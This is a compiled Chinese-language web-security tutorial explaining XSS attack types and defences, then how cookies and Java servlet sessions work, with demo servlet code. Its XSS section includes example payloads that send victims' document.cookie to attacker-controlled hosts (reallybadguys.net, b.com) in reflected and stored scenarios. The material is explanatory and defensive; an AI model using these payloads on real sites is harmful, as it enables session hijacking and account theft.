from:
http://ifeve.com/javaee-http-2/#
http://www.2cto.com/Article/201209/156182.html
http://blog.csdn.net/ghsau/article/details/17027893
1.有哪些攻擊?
Xss(cross-site scripting)攻擊指的是攻擊者往Web頁面裡插入惡意html标簽或者javascript代碼,當使用者浏覽該頁或者進行某些操作時,攻擊者利用使用者對原網站的信任,誘騙使用者或浏覽器執行一些不安全的操作或者向其它網站送出使用者的私密資訊。
比如:攻擊者在論壇中放一個看似安全的連結,騙取使用者點選後,竊取cookie中的使用者私密資訊;或者攻擊者在論壇中加一個惡意表單,當使用者送出表單的時候,卻把資訊傳送到攻擊者的伺服器中,而不是使用者原本以為的信任站點。
諸如此類,唯一能完全杜絕xss攻擊的方法,就是禁用script,img等,顯然這是不靠譜的,使用者需要豐富的頁面内容;當然我們可以用一些方法預防xss攻擊,盡量減少xss造成的危害。
XSS攻擊的危害包括
盜取各類使用者帳号,如機器登入帳号、使用者網銀帳号、各類管理者帳号
控制企業資料,包括讀取、篡改、添加、删除企業敏感資料的能力
盜竊企業重要的具有商業價值的資料
非法轉賬
強制發送電子郵件
網站挂馬
控制受害者機器向其它網站發起攻擊
xss攻擊分類
分類方法一
xss攻擊分為兩類:從其它站點到應用站點的攻擊、從應用站點到同站或其它站點的攻擊
從其它站點到應用站點的攻擊:故名思義,這種攻擊是由外部發起的,來自email或其它站點。這種攻擊在使用者點選連結,下載下傳圖檔或者送出表單的時候,對應用網站進行了意想之外的操作。
通常使用者登入後會得到一個可用session,xss攻擊者可以利用這個session,越過使用者驗證,進行一些不安全的操作,如下:
<a href = “http:// www.2cto.com /addComment.php?subject = I%20am%20owned” >Check it out!</a>
通過這個連結,隻要使用者登入了,就會發送一個subject,即使在其它網站上。
正因如此,一般的郵箱用戶端不會自動從不信任的網站上加載圖檔(因為考慮到可以通過img的src屬性向第三方站點發送GET請求);另外,可以設定session的過期時間,讓session自動失效。
從應用站點到同站或其它站點的攻擊:這種攻擊,通常是攻擊者在應用站點上通過發表評論,或者其它方式嵌入代碼,當使用者加載頁面或者點選連結就會産生一些意想之外的操作。
如下:
<a href=”#” onmouSEOver = “window.location = ‘http://reallybadguys.net/collectCookie.php?cookie = + document cookie.escape();” >Check it out!</a>
當使用者滑過連結,就會将cookie資訊發到攻擊者的伺服器上。
分類方法二
xss的另一種分類方法(個人感覺更清楚),将xss攻擊分為三種,
類型A,本地利用漏洞,這種漏洞存在于頁面中用戶端腳本自身。
其攻擊過程如下:
Alice給Bob發送一個惡意構造了Web的URL。
Bob點選并檢視了這個URL。
惡意頁面中的JavaScript打開一個具有漏洞的HTML頁面并将其安裝在Bob電腦上。
具有漏洞的HTML頁面包含了在Bob電腦本地域執行的JavaScript。
Alice的惡意腳本可以在Bob的電腦上執行Bob所持有的權限下的指令。
類型B
反射式漏洞,這種漏洞和類型A有些類似,不同的是Web用戶端使用Server端腳本生成頁面為使用者提供資料時,如果未經驗證的使用者資料被包含在頁面中而未經HTML實體編碼,用戶端代碼便能夠注入到動态頁面中。
執行個體:
基于網頁dom攻擊:
當我登入a.com後,我發現它的頁面某些内容是根據url中的一個叫content參數直接顯示的,猜測它測頁面處理可能是這樣,其它語言類似:
<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%> <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>XSS測試</title> </head> <body> 頁面内容:<%=request.getParameter("content")%> </body> </html> |
我知道了Tom也注冊了該網站,并且知道了他的郵箱(或者其它能接收資訊的聯系方式),我做一個超連結發給他,超連結位址為:
http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>
當Tom點選這個連結的時候(假設他已經登入a.com),浏覽器就會直接打開b.com,并且把Tom在a.com中的cookie資訊發送到b.com,b.com是我搭建的網站,當我的網站接收到該資訊時,我就盜取了Tom在a.com的cookie資訊,cookie資訊中可能存有登入密碼,攻擊成功!這個過程中,受害者隻有Tom自己。那當我在浏覽器輸入a.com?content=<script>alert(“xss”)</script>,浏覽器展示頁面内容的過程中,就會執行我的腳本,頁面輸出xss字樣,這是攻擊了我自己,那我如何攻擊别人并且獲利呢?
儲存式攻擊:
Stored XSS是存儲式XSS漏洞,由于其攻擊代碼已經存儲到伺服器上或者資料庫中,是以受害者是很多人。
場景二:
a.com可以發文章,我登入後在a.com中釋出了一篇文章,文章中包含了惡意代碼,
<script>window.open(“www.b.com?param=”+document.cookie)</script>
儲存文章。這時Tom和Jack看到了我釋出的文章,當在檢視我的文章時就都中招了,他們的cookie資訊都發送到了我的伺服器上,攻擊成功!這個過程中,受害者是多個人。
Stored XSS漏洞危害性更大,危害面更廣。
防禦方法:
我們是在一個沖突的世界中,有矛就有盾。隻要我們的代碼中不存在漏洞,攻擊者就無從下手,我們要做一個沒有縫的蛋。XSS防禦有如下方式。
完善的過濾體系
永遠不相信使用者的輸入。需要對使用者的輸入進行處理,隻允許輸入合法的值,其它值一概過濾掉。
Html encode
假如某些情況下,我們不能對使用者資料進行嚴格的過濾,那我們也需要對标簽進行轉換。
less-than character (<) | < |
greater-than character (>) | > |
ampersand character (&) | & |
double-quote character (") | " |
space character( ) | |
Any ASCII code character whose code is greater-than or equal to 0x80 | &#<number>, where <number> is the ASCII character value. |
比如使用者輸入:<script>window.location.href=”http://www.baidu.com”;</script>,儲存後最終存儲的會是:<script>window.location.href="http://www.baidu.com"</script>在展現時浏覽器會對這些字元轉換成文本内容顯示,而不是一段可執行的代碼。
附錄:session和cookie原理
上一篇 圖解Http協定 ,這次繼續Http家族中的Cookie。泥瓦匠最近看到部落格園中一篇好文《超大cookie拒絕服務攻擊》,這就是因為浏覽器Cookie太大,導緻請求時,請求頭域過大造成發送失敗。下面咱們就了解一下Cookie。按着以前的思路圖文并茂哈,沒圖說個XX。
一、概述
首先從HTTP說起,Cookie是Http協定中那部分呢?
Cookie是什麼?
自問自答:Cookie是請求頭域和響應頭域的字段。簡單地說,就是伴随請求和響應的一組鍵值對的文本,小文本。是以稱之為”Cookie“餅幹。Cookie的生命來源于伺服器。首先是用戶端請求服務端,此時請求為第一次,無Cookie參數。這時候,服務端setCookie發送給用戶端。記住,Cookie來源自服務端。
Cookie有什麼用呢?
又自問自答:Cookie來源自服務端,當然服務于客戶。就像你我的會話,文字是在我們之間傳遞的。是以Cookie用于服務端和用戶端的會話。因為Http協定是無狀态的,Cookie就是維持會話,說白了就是傳遞資料的額外媒介。
下面我們通路百度位址。
① 産生于服務端的Response,在響應頭域:
② 請求頭域是這樣的:(可以在Cookie Tab頁發現,和響應有一樣的)
下面泥瓦匠詳細介紹其Cookie在 請求和響應 的傳輸過程。
二、詳細介紹Cookie 傳輸過程
直接上圖,一一詳細解釋。順便寫個CookieServlet,模拟一下Cookie的一生。代碼如下:
package org.bysocket.http;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(urlPatterns="/cookie")
public class CookieServletT extends HttpServlet
{
private static final long serialVersionUID = 1L;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException
{
// 擷取Cookie
Cookie[] cookies = req.getCookies();
for (Cookie cookie : cookies)
System.out.println(cookie.getName() + " " + cookie.getValue());
// 建立Cookie
Cookie cookie = new Cookie("CookieName", "CookieValue");
cookie.setMaxAge(10);
cookie.setHttpOnly(true);
resp.addCookie(cookie);
// 響應
PrintWriter pw = resp.getWriter();
pw.print("<html><body><h1>Hello,Cookie!</h1></body></html>");
}
}
① 用戶端通路,無服務端寫入的Cookie。
代碼 new Cookie(“CookieName”, “CookieValue”); 可以看出服務端産生一個新的鍵值對Cookie,并且設定,說明第一次請求時,請求的請求頭域Cookie是沒有的。下面沒有CookieName=CookieValue 的Cookie值。如圖:
② 服務端的Cookie傳至浏覽器。
代碼中 HttpServletResponse.addCookie(cookie); 這樣響應就加入了剛剛那個鍵值對Cookie。怎麼傳到浏覽器(用戶端)呢? 同樣F12下,
從圖中可得到,Cookie是通過HTTP的響應頭域發送至浏覽器。每個Cookie的set,都有一個對應Set-Cookie的頭。還有其中的時間代表Cookie的存活時間,HttpOnly可是此Cookie隻讀模式。
③ 浏覽器解析Cookie,儲存至浏覽器檔案。
直接可以打開IE的Internet選項:
如圖,那個位置檔案就是我們Cookie存的地方。既然在哪裡,泥瓦匠就去找到它。
打開看看,其内容就是:存放着Cookie資訊和URL資訊及一些關于時間的。
CookieName
CookieValue
localhost/servletBYSocket/
9728
3416923392
30449698
3325104969
30449698
*
這樣就完全搞懂了Cookie如何寫入浏覽器。
④ 用戶端通路,有服務端寫入的Cookie。
這樣,同樣的URL再次通路時,F12下:
不多解釋,看圖。
⑤ 伺服器擷取
服務端這時呢?隻要簡單的 getCookies() 就可以擷取Cookie清單了。如圖,服務端控制台列印如下:
泥瓦匠記憶小抄:Cookie傳輸小結
① 用戶端通路,無服務端寫入的Cookie
② 服務端的Cookie寫入浏覽器
③ 浏覽器解析Cookie,儲存至浏覽器檔案
④ 用戶端通路,有服務端寫入的Cookie
⑤ 伺服器擷取
四、談Cookie的作用到XSS(跨站點腳本攻擊)
Cookie沒有病毒那麼危險,但包含敏感資訊。比如最常見的記住密碼,或者一些使用者經常浏覽的網頁資料。如圖:
使用者不希望這些洩露,甚至被攻擊。但事實上存在這個攻擊,究竟怎麼攻擊呢?我在 跨腳本攻擊XSS 一文中也詳細介紹并提出解決方案。
全名:Cross Site Script,中文名:跨站腳本攻擊。顧名思義,是指“HTML注入”纂改了網頁,插入惡意的腳本,進而在使用者用浏覽網頁的時候,控制使用者浏覽器的一種攻擊。一般攻擊的套路如圖所示:
五、總結
回顧全文,Cookie是HTTP協定中的一種會話機制。也明白下面兩個問題就好了
1、What 什麼是Cookie
2、How Cookie怎麼用,幹嘛用
Writer :BYSocket(泥沙磚瓦漿木匠)
一、Session由來
HTTP的無狀态,也就是說,每次請求都是獨立的線程。舉個例子吧:購物中,你選擇了A商品,加入購物車,這就是A線程。然後在選擇B商品就是B線程。可是每次線程獨立(對容器而言,A、B成了不同的使用者),線程A不知道有B,B也不知道A。如何一起付款呢?
簡答來說:怎麼儲存同個使用者多個請求會話狀态呢?自然HTTPS保證連接配接是安全的,可以使它與一個會話關聯。
問題就在于如何跟蹤同一個使用者,選擇自然很多:
1、EJB(有狀态會話bean儲存會話狀态) 環境苛刻需要帶EJB的J2EE伺服器,而不是Tomcat這種Web容器。
2、資料庫(這貌似萬能的。針對資料)
3、就是我們要講的HttpSeesion,儲存跨一個特定使用者多個請求的會話狀态。
4、上面說的HTTPS,條件太苛刻了。
如圖:
二、Session機制
機制,什麼用詞有點高大上。其實就是把它内在的一點東西說出來。主要兩個W:What?How?
What is Session?
Session代表着伺服器和用戶端一次會話的過程。直到session失效(服務端關閉),或者用戶端關閉時結束。
How does session works?
Session 是存儲在服務端的,并針對每個用戶端(客戶),通過SessionID來差別不同使用者的。Session是以Cookie技術或URL重寫實作。預設以Cookie技術實作,服務端會給這次會話創造一個JSESSIONID的Cookie值。
補充:
其實還有一種技術:表單隐藏字段。它也可以實作session機制。這裡隻是作為補充,伺服器響應前,會修改form表單,添加一個sessionID類似的隐藏域,以便傳回服務端的時候可以标示出此會話。
這技術,也可以使用在Web安全上,可以有效地控制CSRF跨站請求僞造。
三、詳細介紹Seesion機制過程
圖中這是session第一次請求的詳細圖。以Cookie技術實作,我也寫了個HttpSessionByCookieServletT.java 的Servlet小demo,模拟下Seesion的一生。代碼如下:
package org.servlet.sessionMngmt;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
/*
* Copyright [2015] [Jeff Lee]
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @author Jeff Lee
* @since 2015-7-12 10:58:28
* HttpSession的預設Cookie實作案例
*/
@WebServlet(urlPatterns = "/sessionByCookie")
public class HttpSessionByCookieServletT extends HttpServlet {
private static final long serialVersionUID = 1L;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 擷取session
// 如果是第一次請求的話,會建立一個HttpSeesion,等同于 req.getSession(true);
// 如果已存在session,則會擷取session。
HttpSession session = req.getSession();
if (session.isNew()) {
// 設定session屬性值
session.setAttribute("name", "Jeff");
}
// 擷取SessionId
String sessionId = session.getId();
PrintWriter out = resp.getWriter();
// 如果HttpSeesion是建立的話
if (session.isNew()) {
out.println("Hello,HttpSession! <br>The first response - SeesionId="
+ sessionId + " <br>");
} else {
out.println("Hello,HttpSession! <br>The second response - SeesionId="
+ sessionId + " <br>");
// 從Session擷取屬性值
out.println("The second-response - name: "
+ session.getAttribute("name"));
}
}
}
隆重打個小廣告:
泥瓦匠學習的代碼都在github上(同步osc git),歡迎大家點star,提意見,一起進步。位址:https://github.com/JeffLi1993
① 用戶端向服務端發送第一次請求
此時,用戶端想讓服務端把自己的名字設定到會話中。
② 服務端的容器産生該使用者唯一sessionID的session對象,并設定值
可以從代碼中看出通過從請求中req.getSession(),新生成了一個session對象。并設定了setAttribute(“name”, “Jeff”),key為string,value是對象皆可。
這時候,我們不用再把session通過cookie技術處理,容器幫我們處理了。
③ 容器響應 Set-Cookie:JSESSIONID= …
我們可以F12,檢視此次響應。
從圖中可得到,每個Cookie的set,都有一個對應Set-Cookie的頭。HttpOnly可是此Cookie隻讀模式。隻不過session唯一辨別是:JSESSIONID
④ 浏覽器解析Cookie,儲存至浏覽器檔案。
如圖,找到了對應的session存儲的cookie檔案。該檔案被保護不能打開。圖解Cookie 教你怎麼找到該檔案。
第二次請求會發什麼變化呢?
下面,泥瓦匠重新通路了這個位址:
① 再次請求
此時,請求會有Cookie值:JSESSIONID=… 該值傳給服務端
② 容器擷取SessionId
,關聯HttpSession
③ 此時響應無SetCookie
如圖:
但是這次請求,我們響應出上一次請求set的值。Jeff 就列印出來了!
關于服務端擷取session,也就是從請求中擷取session對象,容器會幫你根據Cookie找到唯一的session對象。
泥瓦匠記憶小抄:Seesion機制,記住兩次請求圖即可。
四、補充
點到為止哈~ 以後詳細寫。此圖來自網絡
上圖Bad guy,就是攻擊者。跨站請求僞造,僞造使用者請求來對伺服器資料或者是使用者等造成威脅。web安全也就是從這些基礎中慢慢提升。